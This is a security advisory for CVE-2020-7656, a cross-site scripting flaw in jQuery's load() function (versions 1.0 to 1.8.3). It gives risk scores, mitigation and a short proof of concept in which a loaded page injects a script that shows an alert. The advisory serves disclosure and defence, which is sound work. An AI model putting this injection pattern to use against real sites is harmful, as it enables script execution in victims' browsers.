Cross-site scripting in jQuery



Risk Medium
Patch available YES
Number of vulnerabilities 1
CVE-ID CVE-2020-7656
CWE-ID CWE-79
Exploitation vector Network
Public exploit Public exploit code for vulnerability #1 is available.
Vulnerable software
 jQuery
Web applications / JS libraries

Vendor The jQuery Team

Security Bulletin

This security bulletin contains one medium risk vulnerability.

1) Cross-site scripting

EUVDB-ID: #VU28228

Risk: Medium

CVSSv3.1: 5.5 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:O/RC:C]

CVE-ID: CVE-2020-7656

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data within the load() function. A remote attacker can pass specially crafted HTML code to the application and execute it in browser in security context of the affected website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

index.html:

<html>
<head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
    <div id="mydiv"></div>
    <script>
        $("#mydiv").load('inject.html #himom');
    </script>
</body>
</html>

inject.html:

<div id="himom"><script>alert('Arbitrary Code Execution');</script ></div>

Mitigation

Install update from vendor's website.

Vulnerable software versions

jQuery: 1.0 - 1.8.3

CPE2.3 External links

http://github.com/jquery/jquery/blob/9e6393b0bcb52b15313f88141d0bd7dd54227426/src/ajax.js#L203
http://snyk.io/vuln/SNYK-JS-JQUERY-569619


Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.



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